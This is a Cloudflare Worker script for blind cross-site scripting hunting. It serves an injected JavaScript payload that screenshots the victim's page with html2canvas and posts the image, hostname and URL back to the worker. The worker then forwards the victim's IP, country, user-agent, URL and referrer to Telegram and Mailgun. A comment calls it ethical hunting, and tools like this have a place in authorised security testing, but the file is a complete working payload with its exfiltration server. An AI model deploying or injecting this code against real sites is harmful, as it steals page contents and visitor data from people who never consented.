addEventListener("fetch", event => { event.respondWith(handleRequest(event.request)) }) //////////////////////////////////////////////////////////////////////////////////////////////////// // ! DON'T LEAK THE SECRETS ! // Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/ const telegram_token = "*****REDACTED*****"; const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage"; const telegram_to = "*****REDACTED*****"; // User ID const mailgun_username = "api" const mailgun_password = "*****REDACTED*****" const mailgun_url = "https://api.mailgun.net/v3/*****REDACTED*****/messages" const mailgun_to = "*****REDACTED*****" const mailgun_from = "*****REDACTED*****>" const mailgun_subject = "Blind XSS alert" const cloudflare_route = "https://xss.*****REDACTED*****.com/blind.js" //////////////////////////////////////////////////////////////////////////////////////////////////// // Function to parse query strings async function getParameterByName(name, url) { name = name.replace(/[\[\]]/g, "\\$&") name = name.replace(/\//g, "") let regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), results = regex.exec(url) if (!results) return null else if (!results[2]) return "" else if (results[2]) { results[2] = results[2].replace(/\//g, "") } return decodeURIComponent(results[2].replace(/\+/g, " ")); } //////////////////////////////////////////////////////////////////////////////////////////////////// // Main stuff is happening here async function handleRequest(request) { console.log(new Map(request.headers)) //////////////////////////////////////////////////////////////////////////////////////////////////// // Process POST request and send notifications to Telegram and E-mail if (request.method == "POST") { const blind_ip = request.headers.get("cf-connecting-ip") // Original visitor IP address const blind_country = request.headers.get("cf-ipcountry") // Country by IP const blind_referer = request.headers.get("referer") const blind_useragent = request.headers.get("user-agent") const postData = await request.formData(); const base64_img = postData.get("png") // btoa(canvas.toDataURL()) const blind_host = postData.get("host") // location.hostname const blind_url = atob(atob(postData.get("url"))) // btoa(btoa(location)) //////////////////////////////////////////////////////////////////////////////////////////////////// // HTML styled message for Telegram & Mailgun const mailgun_alert = ["Blind XSS was executed on:\n" + blind_host + "", "from IP:\n" + blind_ip + " (" + blind_country + ")", "with user-agent:\n" + blind_useragent + "", "URL:\n
" + blind_url + "
", "referrer:\n
" + blind_referer + "
", "Screenshot"] const telegram_alert = ["Blind XSS was executed on:\n" + blind_host + "", "from IP:\n" + blind_ip + " (" + blind_country + ")", "with user-agent:\n" + blind_useragent + ""] //////////////////////////////////////////////////////////////////////////////////////////////////// // Telegram notification const telegram_init = { method: "POST", headers: new Headers([["Content-Type", "application/x-www-form-urlencoded"]]), body: "chat_id=" + telegram_to + "&disable_web_page_preview=1&parse_mode=html&text=" + telegram_alert.join("\r\n") } const telegram_response = await fetch(telegram_url, telegram_init) console.log("Telegram response: ", telegram_response.status) //////////////////////////////////////////////////////////////////////////////////////////////////// // Mailgun notification let mailgun_headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic " + btoa(mailgun_username + ":" + mailgun_password) } const mailgun_init = { method: "POST", headers: mailgun_headers, body: "html=" + mailgun_alert.join("

") + "&subject=" + mailgun_subject + " on " + blind_host + "&from=" + mailgun_from + "&to=" + mailgun_to } const mailgun_response = await fetch(mailgun_url, mailgun_init) // console.log("Mailgun response: " + mailgun_response.status) //////////////////////////////////////////////////////////////////////////////////////////////////// // Return something here return new Response("Blind XSS executed, have a nice day :)", { headers: new Headers([["Content-Type", "text/plain"], ["Access-Control-Allow-Origin", "*"]]), status: 200 }) } //////////////////////////////////////////////////////////////////////////////////////////////////// // Process GET requests, return base64 image, html2canvas.min.js or Blind XSS payload else { //////////////////////////////////////////////////////////////////////////////////////////////////// // Check for GET parameters let base64 = await getParameterByName("base64", request.url) let html2canvas = await getParameterByName("html2canvas", request.url) if (base64) { //////////////////////////////////////////////////////////////////////////////////////////////////// // Return base64 image return new Response("", { headers: new Headers([["Content-Type", "text/html"]]), status: 200 }) } else if (html2canvas) { //////////////////////////////////////////////////////////////////////////////////////////////////// // Return html2canvas.min.js from our domain let content = await fetch("https://html2canvas.hertzen.com/dist/html2canvas.min.js") return content } else { //////////////////////////////////////////////////////////////////////////////////////////////////// // Return Blind XSS payload let js_response = ["// Ethical Blind XSS hunting, nothing malicious ;)", "let script = document.createElement('script');", "script.onload = function () {", " html2canvas(document.documentElement, {scale: 1}).then(canvas => {", " let init = {", " method: 'POST',", " headers: new Headers([['Content-Type', 'application/x-www-form-urlencoded']]),", " body: 'png='+btoa(canvas.toDataURL())+'&host='+location.hostname+'&url='+btoa(btoa(location))", " }", " fetch('" + cloudflare_route + "', init)", " });", "};", "script.src = '" + cloudflare_route + "?html2canvas=1';", "document.head.appendChild(script);"].join("\r\n") return new Response(js_response, { headers: new Headers([["Content-Type", "application/javascript"]]), status: 200 }) } } }